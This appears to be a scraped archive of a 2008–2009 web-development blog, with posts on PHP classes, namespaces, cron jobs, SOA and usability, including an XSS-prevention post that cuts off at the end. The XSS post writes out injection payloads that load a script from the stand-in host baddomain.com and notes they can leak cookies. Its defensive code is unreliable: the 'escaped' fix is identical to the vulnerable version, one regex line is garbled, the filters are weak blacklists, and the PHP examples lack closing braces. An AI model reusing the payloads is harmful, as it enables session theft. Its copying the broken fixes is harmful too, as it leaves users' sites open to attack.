Sun, 26 Jul 2009 09:50:29 +0000

Listen to the geeks

Computer programmers rely on the Internet for their work - it is the only place for many of the tools they need. I myself am severely impeded without a network connection. This reliance on the Net gives programmers a unique perspective on how to make things usable; as they use the Net more than anyone else, they know how to make processes and common actions as efficient as possible.

Listen to the newbies

New users, on the other hand, may have little or no technological background. They can't be expected to read manuals; they may not even have access to manuals. For that reason, the design goal is to make your software intuitive to the point where anyone can learn it on the fly.

Just because everyone else does it ...

...means you have to do it too. People expect things to work in a certain way (i.e. so it becomes intuitive). If your application doesn't work like everyone else's, people may not understand it, or worse yet, think it is broken. Pay attention to how other sites handle forms, logins, and the like and make sure your interface is equivalent.

The need for speed

The greatest threat to good usability comes from poor download speeds. A slow download breaks a user's train of thought. In a business environment it's pure inefficiency. In a consumer environment it's lost sales. The guidelines I like to use are as follows:

Great: < 8 KB/page (text and images)
Good: 8 - 20 KB/page
Reasonable: 20 - 50 KB/page
Poor: 50 - 100 KB/page
Don't: > 100 KB/page

Now, some might say that those numbers are outdated. After all, broadband is here, isn't it? Not quite. The majority of Internet users are on a dialup. More importantly, the advent of new technologies and networks goes in two directions - large and fast or small and slow. Good usability dictates that we satisfy both extremes.

When in doubt, use Google as a guideline. The size of their index page is carefully and deliberately calculated.

Maintainability

Mon, 20 Jul 2009 13:55:35 +0000

What's the number one cost in web design? Is it planning the application? Is it building the application for the first time? Is it the cost of the server or the connectivity?

Actually, it's none of these things. The highest cost will be maintaining the application. This is in contrast to traditional systems design, where a majority of expense is in the systems understanding and analysis.

Why the difference? With traditional systems, an application has a typical lifetime of 2 to 4 years. Once the application has reached a stable configuration the design effort is all but finished.

On the other hand, the dynamic aspect of the web makes most applications outdated in months rather than years. Improvements in existing applications are continuous, new content is expected, new technologies appear on a regular basis. A web application must improvise or be replaced. Another way to put it is that web software is in a continual prototyping process - user feedback and design demands are much more prevalent than in their traditional counterparts.

The fact remains that your software must be frequently modified and updated. Realizing this at an early point in the design phase is crucial to making maintenance easier in the future. Trust me, I've learned the hard way.

Build customization variables into your code. Separate code and content. Use templates. Use style sheets. Make the language of your site customizable. Develop a common coding style and stick with it. Comment your code well.

To put it simply, you can do what we do, and build everything for distribution. It may seem like an unnecessary investment of time and resources if you a designing for one customer only, but, trust me, when the client starts asking you to make changes.

Security

Sat, 18 Jul 2009 12:12:24 +0000

Writing Class in PHP

Sun, 05 Jul 2009 11:25:49 +0000

Classes are little more than a container for variables and functions affecting those variables, but they can be very useful for building small components - almost miniture programs. The difference is that you dont need to shell out to them or anything, and they can be plugged into most scripts with ease - Just a require or include statement at the top. A class describes an 'object'. An object is a collection of smaller objects, just like in a class. Say for instance, we want to describe a simple door lock. A lock class might contain:

        variable $Bolt

        variable $Position

        function TurnKey( $Direction, $Distance )

        function CheckLock( )

TurnKey would accept a direction value that would in turn determine if the bolt should be locked or unlocked. Once the key is turned far enough in either direction ($Distance) the Bolt will either set or clear. The $Bolt variable shows the current state of the door lock, and $Position is used to track how far the key has been turned in any direction. Now, obviously this could all be done with regular variables and functions, and if you only need to use one lock in the code, it would probably work just fine. But what if you want more than one lock? One if you wanted more details about the lock, or even something else? Maybe you want a door in the code, too - And the lock would just be a subset of the door. Maybe you have a whole house. You might have more than one door, or you might not. But each door certainly needs a lock. You can see how complex object-related problems can get.

By using classes, you can define an object once, and then include it in several scripts also. You'll be assured that your object will funciton the same in all of the scripts! Its good practice to write your classes in a seperate file usually, that way you only have to change it in one location. Make full use of PHP's include and require functions, they have many uses.

In the next section, I will walk you through creating a simple class.

Class Structures

For lack of a better example right now, i'm going to show you how to create a simple page object. The page object encompasses a few of the basic page necessities in building an HTML page. Now, there is a lot more you could do with this class, but i'm going to keep it simple for the time being. You guys can expand on it if want later. Okay, lets start by looking at what the basic elements of an HTML page are. First, you have the open and closing tags, <HTML> and </HTML>. Those will need to be included in the output. Also, you have the page Title, Keywords for the Metatag field, and naturally the main content, or body. Now that we know what we need, lets start building our class.

First thing we need is the class itself:

<?php

 class Page {

?>

This is a basic class. No variables, no functions, nothing - Completely empty. All class structures look the same here with the exception of the 'Page' name. Every class/object is assigned a name for reference. You'll need to know this to create new copies of the object, so pick something straightforward and sensible.

Next, we need to put in our variables. We need a title for the page, keywords, and a content body, like so:

<?php

class Page {

   var $Title;

   var $Keywords;

   var $Content;

?>

Now, we could actually start using the class here. We have an object. But it isn't done - We still want to add some functions, to make it easier to work with.

What functions do we need? Well, we need something to build the output HTML. Lets call that 'Display'. Lets create simple functions for displaying the Title and Keywords, also. Lets make a function for setting the content as well.

The final class code is:

<?php

class Page {

   var $Title;

   var $Keywords;

   var $Content;

   function Display( ) {

     echo "<HTML>\n<HEAD>\n";

     $this->DisplayTitle( );

     $this->DisplayKeywords( );

     echo "\n</HEAD>\n<BODY>\n";

     echo $this->Content;

     echo "\n</BODY>\n</HTML>\n";

   function DisplayTitle( ) {

     echo "<TITLE>" . $this->Title . "</TITLE>\n";

   function DisplayKeywords( ) {

     echo '<META NAME="keywords" CONTENT="' . $this->Keywords . '">';

   function SetContent( $Data ) {

     $this->Content = $Data;

?>

Now, at first glance this looks pretty simple. And you know what? It is. Its just basic PHP code wrapped into a class. Let me point a few things out before we go any farther though.

VAR -
All variables declared in the class must be placed at the top of the class structure, and preceeded with the VAR statement.
$THIS -
$this is a variable that incidates the current object. That way, the object knows how to find itself while running functions contained within it.
For instance, $this->Keywords gets the data from the $Keywords variable in the object. You'll also notice that when using variables contained
within a class, you can't use the $ to reference them - But you have to use it to reference the object itself.

Lets save this class file out before we continue. If your following along, save it out as page.class for now. You'll need it for the example coming up.

Using the Class

Now that we have a class created, lets try using it in a normal script.

<?php

include "page.class";

 $Sample = new Page;

 $Content = "<P>This page was generated by the Page Class example.</P>";

 $Sample->Title = "Using Classes in PHP";

 $Sample->Keywords = "PHP, Classes";

 $Sample->SetContent( $Content );

 $Sample->Display( );

?>

The Benefits of a Service-Oriented Architecture

Wed, 24 Jun 2009 21:00:02 +0000

A service-oriented architecture has services that developers create in a service layer. The services that they develop have published interfaces. These interfaces support a distinct business domain. Organizations that focus their development effort around the creation of services, will realize many benefits. The most common scenario for development organizations is to have some experience with component-based development. The use of application servers such as J2EE or .NET for hosting applications is becoming more common. If your organization is using component-based development practices and application servers for business logic, then you are already service-oriented. By following the service-oriented mind set with even more rigor, combined with the component-based approach to software development, your organization will realize many benefits.

Focused Developer Roles

A service-oriented architecture will force an application to have multiple layers. Each layer has a set of specific roles for developers. For instance, the service layer needs developers that have experience in data formats, business logic, persistence mechanisms, transaction control, etc. A client developer needs to know technologies such as SWING, JSP or MFC. Each layer requires a complex set of skills. To the extent that developers can specialize, they will excel at their craft in a particular layer of the application. Companies will also benefit by not having to rely on highly experienced generalists for application development. They may use less experienced developers for focused development efforts.

Better Return on Investment

The creation of a robust service layer has the benefit of a better return on the investment made in the creation of the software. Services map to distinct business domains. For example, a company might create an inventory service that has all of the methods necessary to manage the inventory for the company. By putting the logic into a separate layer, the layer can exist well beyond the lifetime of any system it is composed into. For example, if your organization needs to create a credit card authorization service, there are basically two options. Developers will either develop the functionality as part of the application that needs it, or they will develop it as a separate component. If credit card authorization is developed as a separate component and used as a service, then it is likely to outlive the original application.

More Security

The creation of a service layer by definition means that developers have created an additional network interface that can be used by multiple applications. When systems were built using monolithic or client-server methods, security was normally handled on the front-end. Companies often did not even implement database security because it is too hard to maintain multiple security lists. Services on the other hand are used by multiple applications, so they have their own security mechanisms. An application will therefore have multi-level authentication at both the client level and at the service level.

Better Testing/Fewer Defects

Services have published interfaces [1] that can be tested easily by developers by writing unit tests. Developers can use tools such as JUnit for creating test suites. These test suites can be run to validate the service independently from any application that uses the service. It is also a good practice to run the unit tests during an automated build process. There is no reason for a QA tester to test an application if the unit tests did not complete successfully. More and better testing usually means fewer defects and a higher overall level of quality.

Support for Multiple Client Types

As a benefit of a service-oriented architecture, companies may use multiple clients and multiple client types to access a service. A PDA using J2ME may access a service via HTTP, and a SWING client may access the same service via RMI. Since the layers are split into client and service layers, different client types are easier to implement.

Higher Availability

Also because of location transparency, multiple servers may have multiple instances of a service running on them. If a network segment or a machine goes down, a dispatcher can redirect requests to another service without the client's knowledge.

Service Assembly

The services that developers create will evolve into a catalog of reusable services. Customers will come to understand this catalog as a set of reusable assets that can be combined in ways not conceived by their originators. Everyone will benefit from new applications being developed more quickly as a result of this catalog of reusable services.

Code Mobility

Since location transparency is a property of a service-oriented architecture, code mobility becomes a reality. The lookup and dynamic binding to a service means that the client does not care where the service is located. Therefore, an organization has the flexibility to move services to different machines, or to move a service to an external provider.

Better Maintainability

Software archeology [2] is the task of locating and correcting defects in code. By focusing on the service layer as the location for your business logic, maintainability increases because developers can more easily locate and correct defects.

More Reuse

Code reuse has been the most talked about form of reuse over the last four decades of software development. Unfortunately, it is hard to achieve due to language and platform incompatibilies. Component or service reuse is much easier to achieve. Run-time service reuse is as easy as finding a service in the directory, and binding to it. The developer does not have to worry about compiler versions, platforms, and other incompatibilities that make code reuse difficult.

Better Parallelism in Development

The benefit of multiple layers means that multiple developers can work on those layers independently. Developers should create interface contracts at the start of a project and be able to create their parts independently of one another.

Better Scalability

One of the requirements of a service-oriented architecture is location transparency. To achieve location transparency, applications lookup services in a directory and bind to them dynamically at run-time. This feature promotes scalability since a load-balancer may forward requests to multiple service instances without the knowledge of the service client.

Using Namespaces in PHP 5

Wed, 10 Dec 2008 11:23:41 +0000

Introduction

If you're an experienced PHP developer, then you'll surely know that building web applications using the object-oriented paradigm can be a pretty challenging process, at least in the beginning. However, as you master the key concepts that surround the use of this approach, working with classes and objects becomes so familiar that you can start quickly developing more complex PHP programs.

While the learning process looks very educational and even fun, the truth is that things can get more complicated when you begin using third-party classes or even entire development frameworks. For instance, say that you've created a neat database abstraction class, called "MySQL," which handles all of your database-related tasks.

So far, this class isn't conflictive, right? But, this scenario may change for the worse if you decide to use a forum application created by another programmer, which also includes a class named "MySQL." Whenever you try to use the forum's classes and yours together, it's possible that the PHP interpreter will complain loudly when it finds that you're attempting to use two classes that share the same name!

Of course, you can solve this problem by renaming one of the conflictive classes, but sometimes this process can be a true nightmare, or simply a nonviable solution. Nonetheless, not all is lost in this case, because with the release of PHP 5.3, this problem could be easily solved by way of namespaces.

In simple terms, by using this feature it's possible to specify that one or more PHP classes must belong to a certain namespace, which should avoid a naming conflict between classes like the one described above. In this particular case, you might specify that your MySQL class is valid within a namespace called "general," while the forum's class would be available in a "forum" namespace.

Understanding how namespaces work in PHP 5 naturally requires much more than simple theory. Therefore, in this group of articles, I'll be developing for you several code samples, which hopefully will help you learn how to use this helpful feature within your forthcoming PHP applications.

Now it's time to move past the preliminaries and start digging deeper into the use of namespaces in PHP 5. Let's begin this educational journey now!

A good way to start explaining how to utilize namespaces with PHP 5 consists of recreating a simple - yet potentially real -- situation, where the name of a given class can be shared by another. In this case, suppose that there's a class called "User" which stores common user-supplied data, such as first and last names, as well as the corresponding email addresses.

The prototypical signature of a class like the one described above would look like this:

// define 'User' class

class User{

private $firstName;

private $lastName;

private $email;

public function __construct($firstName,$lastName,$email){

if(!$firstName||strlen($firstName)>32){

throw new Exception('Invalid First Name parameter!');

}

if(!$lastName||strlen($lastName)>32){

throw new Exception('Invalid Last Name parameter!');

}

if(!$email||!preg_match("/^.+@.+..+$/",$email)){

throw new Exception('Invalid Email parameter!');

}

$this->firstName=$firstName;

$this->lastName=$lastName;

$this->email=$email;

}

// get user's first name

public function getFirstName(){

return $this->firstName;

}

// get user's last name

public function getLastName(){

return $this->lastName;

}

// get user's email

public function getEmail(){

return $this->email;

}

Undoubtedly, the signature of the above "User" class is quite easy to grasp, since this class simply stores the full name and the email address of a fictional user on a few properties. In addition, the class implements some accessors, used directly for retrieving the values of these properties when required.

Now that you've seen how this sample class has been defined, here's an example that demonstrates how to use in a concrete case. Take a look at the following code sample, please:

// example on using the previous 'User' class without namespaces

try{

// create new instance of 'User' class

$user=new User('Alejandro','Gervasio','alejandro@domain.com');

// display user data

echo 'First Name: '.$user->getFirstName().'<br />';

echo 'Last Name: '.$user->getLastName().'<br />';

echo 'Email: '.$user->getEmail().'<br />';

/* displays the following output

First Name: Alejandro

Last Name: Gervasio

Email: alejandro@domain.com

}

catch(Exception $e){

echo $e->getMessage();

exit();

}

Actually, I don't want to be accused of being too selfish, but as you can see in the previous example, I utilized the "User" class to save my first and last names, as well as my email address as plain class properties. Once that task has been accomplished, these values are echoed to the browser via the respective accessors. That was really simple to code and understand, wasn't it?

So far, everything looks pretty good here, since this basic class does a decent job, particularly when it comes to handling user-supplied data. However, this seemingly peaceful scenario can turn quickly into a raging storm if I decide to work in conjunction with a third-party content management system, which also includes a class named "User."

How can these classes be used within the same PHP application, without having to waste time renaming one of them?

Well, the answer to that question is simply by using namespaces! With namespaces, it would be possible to specify that one "User" class belongs to a concrete namespace, called for example "General," while the second one would belong to a different namespace, named "CMS." Are you starting to see the benefits of using namespaces? I bet you are!

However, if you're anything like me, then you'll want to see how namespaces can be used with some functional PHP code. Therefore, bearing in mind this possibility, in the section to come, I'm going to show you how to utilize the previous "User" class so it can be tied to a predefined namespace.

To learn the full details of how this process will be accomplished, please click on the link that appears below and keep reading.

The simplest way to tie a PHP class to a specific namespace is by using the "namespace" keyword. Now, returning to the "User" class built in the previous section, if I ever want to link it to a fictional "UserManager::CMS" namespace, then I'd use the keyword in question in the following manner:

// example on using the 'namespace' keyword to tied up a class to a particular namespace

namespace UserManager::CMS;

class User{

private $firstName;

private $lastName;

private $email;

public function __construct($firstName,$lastName,$email){

if(!$firstName||strlen($firstName)>32){

throw new Exception('Invalid First Name parameter!');

}

if(!$lastName||strlen($lastName)>32){

throw new Exception('Invalid Last Name parameter!');

}

if(!$email||!preg_match("/^.+@.+..+$/",$email)){

throw new Exception('Invalid Email parameter!');

}

$this->firstName=$firstName;

$this->lastName=$lastName;

$this->email=$email;

}

// get user's first name

public function getFirstName(){

return $this->firstName;

}

// get user's last name

public function getLastName(){

return $this->lastName;

}

// get user's email

public function getEmail(){

return $this->email;

}

As you can see in the previous hands-on example, before including the definition of the previous "User" class, I used the "namespace" keyword to indicate to the PHP interpreter that that specific class must be tied to a hypothetical "UserManager::CMS" namespace, assuming that the class in question will be used within the context of a user-related content management system.

Of course, I created this concrete namespace only for illustrative purposes, but naturally you can use others to suit your personal needs and preferences.

Well, at this point I already showed you how to specify that a sample "User" class must belong to a "UserManager::CMS" namespace, in this way preventing any eventual conflicts with one or more classes that share the same name.

However, the prior example would be incomplete if I didn't show you how to call this sample class in the context of a PHP script. Thus, in the last section of this tutorial I'm going to code a brand new example for you to dissipate any possible doubts about how to achieve this process in a simple way.

Jump ahead and read the next few lines. We're almost finished!

Provided that in the previous section you learned how to link a basic "User" class to a specific namespace, the next thing that I'm going to show you in this tutorial will be how to call an instance of that class within a PHP script.

The following script demonstrates in a simple way how to work with a "$user" object whose originating class has been tied previously to a "UserManager::CMS" namespace. Have a look at it, please:

<?php

namespace UserManager::CMS;

class User{

private $firstName;

private $lastName;

private $email;

public function __construct($firstName,$lastName,$email){

if(!$firstName||strlen($firstName)>32){

throw new Exception('Invalid First Name parameter!');

}

if(!$lastName||strlen($lastName)>32){

throw new Exception('Invalid Last Name parameter!');

}

if(!$email||!preg_match("/^.+@.+..+$/",$email)){

throw new Exception('Invalid Email parameter!');

}

$this->firstName=$firstName;

$this->lastName=$lastName;

$this->email=$email;

}

// get user's first name

public function getFirstName(){

return $this->firstName;

}

// get user's last name

public function getLastName(){

return $this->lastName;

}

// get user's email

public function getEmail(){

return $this->email;

}

try{

// create new instance of 'User' class by using the specified namespace

$user=new UserManager::CMS::User('Alejandro','Gervasio','alejandro@domain.com');

// display user data

echo 'First Name: '.$user->getFirstName().'<br />';

echo 'Last Name: '.$user->getLastName().'<br />';

echo 'Email: '.$user->getEmail().'<br />';

}

catch(Exception $e){

echo $e->getMessage();

exit();

}

Definitely, the most important thing to note here is how an instance of the "User" class is called within the previous script. The following statement:

$user=new UserManager::CMS::User('Alejandro','Gervasio','alejandro@domain.com');

creates a new $user object, where the name of the class is preceded by the corresponding namespace. Also, you should note the use of the (::) operator, which indicates that the class in question is linked to the "UserManager::CMS" namespace.

In this case, I used the "namespace" keyword to associate a sample class to a given namespace, which can be longer to code. There are a few additional methods in PHP 5 that permit you to perform the same task, but they'll be properly reviewed in upcoming tutorials of the series.

For now, study the code samples developed previously to acquire a more solid background in using namespaces in PHP 5. And keep in mind that this feature will be available hopefully with the release of PHP 5.3.

PHP Crons and Linux

Wed, 10 Dec 2008 10:52:33 +0000

PHP Crons and Linux
Linux has a good solution for managing processes that execute at specific times: the cron daemon (called crond). You define the scripts or commands that you want to run in "crontab" files. Crontabs represent a set of tasks performed chronologically; each line represents one entry. Each entry specifies information about how to perform a task, such as executing a script. These individual tasks are called "cron jobs."

Author's Note: Each user has a separate crontab file, so crons can be user-specific.

You execute a crontab file using this syntax:

   # crontab [--e [-u username] | -l [-u username] | 
      -r [-u username] | file]

The —e argument means edit the file using the default editor (for example, vi). After editing, the file is installed as the crontab file for the current user in the cron directory. If the crontab file already exists it will be overwritten. The —l argument lists the file's contents, and the —r argument removes the file from the crontab directory.

The username that follows the —u (username) argument is optional, but specifies which crontab file the command affects. For example, a root user may include the username to specify the owner of a particular crontab file. If you don't specify the username argument, the crontab command affects the current user's crontab file. If the username argument is invalid the command generates an error.

The file argument in the example command replaces the specified crontab file with the file named in the file argument. The replacement file's content must conform to the daemon cron format, for the crontab command to work properly.

Crontab File Syntax
The syntax of this file is very important; if you get it wrong, your crontab will not function properly. Each line of the file must contain the six fields listed in Table 1, in sequential order. You must must separate the lines with a newline character.

Table 1. Crontab Line Fields: Each line in the crontab file must contain these six numeric fields in this specific sequence.

Field	Description
Minutes	Number from 0 to 59
Hours	Number from 0 to 23
Day of month	Number from 1 to 31
Month	Number from 1 to 12
Day of week	Number from 0 to 6, where 0=Sunday and 6=Saturday
Command	Script name or command to execute

You can set the content for the first five fields in any of several ways:

As a number in the specified domain: For example, setting the Minutes field to 6 means the script will execute at the sixth minute.
As a range in the domain: For example, you might set the Hours field to 2-9 to execute a script every hour from 2:00 to 9:00 AM.
As a comma-separated list of values: For example, you might set the Hours field to 2,5,9 to execute a script at 2:00, 5:00, and 9:00 AM.
As an asterisk (*): The asterisk is a wild card that matches any number in the domain.
As an asterisk with an accompanying value: For example, */5 placed in the Minute field means that the script will execute every 5 minutes.

The sixth and last command argument specifies the script name or command to execute.

In addition to the required fields, you can optionally generate a log file or an error file using these optional arguments:

Log file: Specify a log file by using two right angle brackets (>>) followed by the log file name; for example, >>cron.log.
Error file: Specify an error file using the prefix 2>> followed by the error file name; for example, 2>>cron.err.

Crontab File Examples
In this section you'll see some crontab file examples that reference the mycron.php PHP script listed below. The script creates a file containing the date and time at which the script ran:

Author's Note The following script writes output to a logs subdirectory of the current directory. If you're following along, you must create that directory before running the PHP script.

   <?php   
     
      $currentDate = date('Y-m-d'); 
   
      $hf = fopen("./logs/".$currentDate."_log.txt","w")
            or die (" The file".$currentDate. 
            "_log.txt couldn't be created!");
      
      //Write the current date and time when the process is ruled
      $wrt=fwrite($hf,"***  [".date('Y-m-d H:i:s'."]   ***"));  
      
      fclose($hf);
    
   ?>

Example 1
To run the mycron.php script every Friday at 3:45 AM, your crontab file must contain the following content on a single line:

   45 3 * * 5  php  --q  path/mycron.php

Example 2
To run the script every 20 minutes, on March 23rd, the crontab file would look like:

   */20  *  23  3  *  php --q  path/mycron.php

The php—q parameter in the preceding example is required to execute the script. The path argument represents the absolute path of the script.

If you want to specify URL paths instead of absolute paths, you'll need the wget packet. To check if the wget packet is installed, type the following command on an RPM system (Red Hat or Mandrake):

   #wget --help

If not, you can download wget. Follow the installation instructions on that page.

Example 3
With wget installed, you can now run this URL script every Monday, Wednesday, and Friday at 00:32 AM, using a crontab file that contains the following content on a single line:

   32  0  *  *  1,3,5  wget  http://www.yoursite.com/script.php

Preventing Cross Site Scripting Attacks - By PHP Expert

Fri, 03 Oct 2008 04:03:47 +0000

Cross site scripting (XSS) is basically using JavaScript to execute JavaScript from an unwanted domain in a page. Such scripts could expose any data in a page that is accessible by JavaScript including, cookies, form data, or content to a 3rd party. Here is how you can prevent your web pages from being exploited on both the client and the server. This is followed with tips on how to avoid vulnerable sites.

Escape parameters and User Input - The safest step you can take is to escape all parameters to a page where the parameters are displayed in the content.The same applies for any user input that may be displayed or re-displayed in a web page rendered by a server. The downside is that your users can not provide markup.
Remove eval(), javascript, and script from User Provided Markup - If you allow users to provide markup in any part of your application that is displayed in a page make sure to remove eval() and javascript: calls from element attributes including styles as they can be used to execute JavaScript. Also remove script blocks.
Filter User Input on the Server - You should always filter user input that is stored or processed on a server because URLs and GET/POST requests can be created manually.
Use Caution with Dynamic Script Injection - Be careful when dynamically injecting external scripts to retrieve JSON based data as you are potentially exposing everything accessible by JavaScript.
Avoid XSS Phishing Attacks - Be aware of sites that contain vulnerabilities and phishing style attacks containing external script references.

Escape Parameters and User Input

This is the classic XSS attack that can open your service or web application up to hackers. By design the site displays a user's id that is passed in as a URL parameter. The following script will take the id and display a welcome message.

<script type="text/javascript">
  var start = window.location.href.indexOf("id");
  var stop = window.location.href.length;
  var id = "guest";
  if (start < stop) {
    id = decodeURIComponent(window.location.href.substring(start,stop));
  }
  document.write("Hi " + id);
</script>

A request to the URL index.html?id=greg (assuming the page containing the script is index.html) will result in:

Hi greg

What would happen if instead of "greg" I used the following URL:

index.html?id=%3Cscript%20src=%22http://baddomain.com/badscript.js%22%3E%3C/script%3E

Notice the URL above contains a link to script http://baddomain.com/badscript.js which contains malicious code from a different domain. This script will be evaluated when the page is loaded putting the page and all the data in it at risk.

To prevent from these types of attacks your client code should always escape "<" and ">" parameters that are displayed or evaluated by JavaScript code.

You can do this with a simple line of code as can be seen in the next example.

<script type="text/javascript">
  var start = window.location.href.indexOf("id");
  var stop = window.location.href.length;
  var id = "guest";
  if (start < stop) {
    id = decodeURIComponent(window.location.href.substring(start,stop));
	
  }
  document.write("hi " + id);
</script>

Consider the following containing a form where a user enters a description that will be visible to other users.

<html>
<head>
<script type="text/javascript">
  function displayName() {
    var description = document.getElementById("description").value;
    var display = document.getElementById("display");
    display.innerHTML = description;
  }
</script>
</head>
<body>
<form onsubmit="displayName();return false;">
<textarea id="description" type="text" cols="55" rows="5"></textarea>
<input type="submit" value="Show Description">
</form>
<div id="display"></div>
</body>
</html>

Seems innocent enough right? Try including the following content in the text area.

<a onmouseover="eval('s=document.createElement(\'script\'); document.body.appendChild(s); s.src=\'badscript.js\'')">Mouse Over Me</a>

A mouseover of the link will cause a script in a badscript.js to be loaded. This script could also pass along cookies or any other information it wanted to as parameters of the "s.src" URL. Unlike the first example where the user would need to click on a bad link this type of attack requires a simple mouseover to load the badscript.js.

So the question now comes to mind: 'How do you protect your web page from being being exploited?'

Along with the parameters you should escape form input. If you plan to allow users to provide their own markup consider the next solution titled Remove eval(), javascript, and script from User Provided Markup.

The following code shows how to escape markup on the client.

<html>
<head>
<script type="text/javascript">
  function displayName() {
    var description = document.getElementById("description").value;
    var display = document.getElementById("display");
    description = description .replace(/</g, "&lt;").replace(/>/g, "&gt;");
    display.innerHTML = description;
  } 
</script>
</head>
<body>
<form onsubmit="displayName();return false;">
<textarea id="description" type="text" cols="55" rows="5"></textarea>
<input type="submit" value="Show Description">
</form>
<div id="display"></div>
</body>
</html>

The code description = description.replace(//g, ">"); filters the user input and prevents unwanted scripts from being executed.

Now that we have looked at how to prevent most attacks the next section focuses on cases where you want to allow users to provide markup that does not contain malicious code.

Remove `eval()`, `javascript:`, and `script` from User Provided Markup

There may be cases where you want to allow a user to add markup such as links or HTML content that is displayed for other users to see. Consider a blog that allows for HTML markup, user provided URLs, HTML comments, or any other markup. The solution would be to filter all markup before it is displayed in a page or before it is sent to a server or service. The following example shows how to allow for some HTML markup while preventing malicious code.

<html>
<head>
<script type="text/javascript">
  function displayName() {
    var description = document.getElementById("description").value;
    var display = document.getElementById("display");
    description.replace(/[\"\'][\s]*javascript:(.*)[\"\']/g, "\"\"");
    description = description.replace(/script(.*)/g, "");    
    description = description.replace(/eval\((.*)\)/g, "");
    display.innerHTML = description;
  } 
</script>
</head>
<body>
<form onsubmit="displayName();return false;">
<textarea id="description" type="text" cols="55" rows="5"></textarea>
<input type="submit" value="Show Description">
</form>
<div id="display"></div>
</body>
</html>

The example above removes all eval(), javascript and script references that may be entered in the description field. The replacement here is not a perfect as it may replace legitimate uses of the words javascript and script in the body of a document. You may consider refining the regular expressions to only look in tag attributes for example and to remove full scripts. There are other considerations you should keep in mind when filtering client code such as line breaks, charsets, case sensitivity which are commonly exploited in attacks. As some browsers will allow you to specify JavaScript calls from CSS styles you should also consider searching user provided CSS styles as well.

Filter User Input on the Server

Most of the problems related to cross site scripting are because of poorly designed clients. Servers can also unwillingly become participants in cross domain scripting attacks if they redisplay unfiltered user input. Consider the following example where a hacker manually makes a HTTP POST request to set the homepage URL with the following.

<a href="javascipt:eval('alert(\'bad\')');">Click Me</a>

The URL would end up being stored as is on the server as is and expose any user that clicks on the URL to the JavaScript. The example above seems innocent enough but consider what would happen if in place of an alert('bad') the "javascript" contained malicious code. To prevent such attacks you should filter user input on the server. The following Java example shows how to use regular expression replacement to filter user input.

String description = request.getParameter("description");
description = description.replaceAll("<", "&lt;").replaceAll(">", "&gt;");
description = description.replaceAll("eval\\((.*)\\)", "");
description = description.replaceAll("[\\\"\\\'][\\s]*javascript:(.*)[\\\"\\\']", "\"\"");
description = description.replaceAll("script", "");

The code above removes eval() calls, javascript: calls, and script references the replacement here is not a perfect as it may replace legitimate uses of the words javascript and script in the body of a document. The code above may be applied using a servlet, servlet filter, or JSF component on all input parameters or on a per parameter basis depending on what how much markup you would like to allow users to provide. You may want refine the regular expressions that filter the content to handle more or consider a Java library built that specializes in removing malicious code.

Use Caution with Dynamic Script Injection

Dynamic script injection to retrieve JSON data (also known as JSONP) can be powerful and useful as it decouples your client from the server of origin. There is still a bit of debate over using JSONP as some consider it as a hack or security hole in JavaScript because when you dynamically include a reference to a 3rd party script you are giving that script full access to everything in your page. That script could go on to inject other scripts or do pretty much whatever it wanted.

If you choose to use JSONP make sure you trust the site for which you are interacting with. There is nothing stopping a JSONP provider from including unwanted script with JSONP data. One alternative would be to provide a proxy service which you can control the output, restrict access to, and can cache as needed.

Avoid XSS Phishing Attacks

This next recommendation focuses on protecting yourself as a user from a site that is vulnerable to cross site scripting attacks.

Phishing attacks, or attacks where what appears to be a valid URL links to a fraudulent web page who's purpose is to collect a users data, are nothing new to the web world. A related attack involves cross site scripting attacks where a URL to a legitimate site that has a cross site scripting vulnerability contains a script reference. Such a link may appear in an email message, blog posting/comment, or other user generated content that contains a URL. Clicking a link to a site containing a cross site scripting vulnerability would cause a 3rd party script to be included along with your request and could expose your password, user id, or any other data. Consider the following example:

<a href="http://foobar.com/index.html?id=%3Cscript%20src=%22http://baddomain.com/badscript.js%22%3E%3C/script%3E">See foobar</a>

A quick look at the URL shows it references the site http://foobar.com/index.html. An unsuspecting user may not see the script included as a parameter later in the URL.

It is also wise to always look at carefully at URLs and the URL parameters that are provided with them. URLs will always appear in the status bar of your browser as and you should always look for external script reference. Another solution would be to manually type in links into the URL bar of your browser if a link is suspect.

Be aware of sites known to have vulnerabilities and be very careful with any personal data you provide those sites.

While JavaScript based interfaces can be very flexible you need to be very careful with all user provided input whether it be as parameters or form data. Always make sure to escape or filter input on the both the client and server. As a user you should be cautious not to become a victim of a vulnerable site. It's better to be safe than in the news!

What is Web 2.0 - By PHP Expert

Fri, 19 Sep 2008 03:53:27 +0000

What Makes a Web 2.0 Application?

Open Data

    * Open data formats
    * No data lock-in or walled gardens
    * User created data
    * User owns their own data
    * Ability to use data outside the confines of the application
    * Data used across devices

Architecture of Participation

    * Providing a service, not a product (infoware not software)
    * Encourage user contribution (reviews, comments)
    * Collective intelligence (PageRank, folksonomies, popularity)
    * Make it easy to re-use and re-mix
    * Customer self-service
    * Community and sense of ownership

Rich User Experience

    * Easy to use
    * Pleasurable to use
    * Build social networks
    * Rich user interface
    * Functions like a traditional application

Cool Web 2.0 Applications
OnOneMap
Netvibes.com
Backpackit.com
Meebo.com
Writely.com

Core Web 2.0 Technologies

    * Open data through API's and web services
    * RSS
    * Ajax
    * Web Standards (DOM Scripting, XHTML, CSS)

Where's the Revolution?
Web 2.0 Revolution
    * Using existing technologies in new and innovative ways
    * Change in the way people view the web
    * More mature industry
    * Healthier web economy
    * Need to innovate just to maintain position

Exciting Time to be a Web Developer
    * Sudden renewed energy on the web
    * New apps popping up every week
    * Big companies snapping up talent
    * People investing in start-ups again

The Web as a Platform
    * Simplifies distribution
    * Easy way of maintaining code
    * Faster speed to market
    * Share data across devices
    * Subscription model vs. one off purchase

What Next?
    * Ajax Applications
    * Desktop Widgets (Dashboard, Konfabulator etc)
    * Flex Applications
    * OpenLazlo Applications
    * XUL Applications
    * Smart Clients and Avalon

Questions?

Dynamically Loading JavaScript Files - by PHP Expert

Tue, 16 Sep 2008 09:35:41 +0000

As you develop web applications that make use of Ajax to dynamically load content on a web page, you might find that you also need to dynamically load a JavaScript file. The remainder of this blog post describes a function to achieve exactly this.

This function relies on the Prototype JavaScript framework, which hopefully you are using already.

In order to load a JavaScript file you need to insert a new script element into the Document Object Model (DOM). While in theory this sounds relatively straightforward, you need to ensure the code has finished loading before you can make use of it.

This is achieved by observing the onload event on the <script> element. Unfortunately, doing so will work on all browsers except for Internet Explorer, which instead requires that you monitor the onreadystatechange event.

The following function allows you to easily load JavaScript files in real time.

<script type="text/javascript">
    function loadJs(path, onload)
    {
        var script = new Element('script', {
            src  : path,
            type : 'text/javascript'
        });
 
        if (onload) {
            if (Prototype.Browser.IE) {
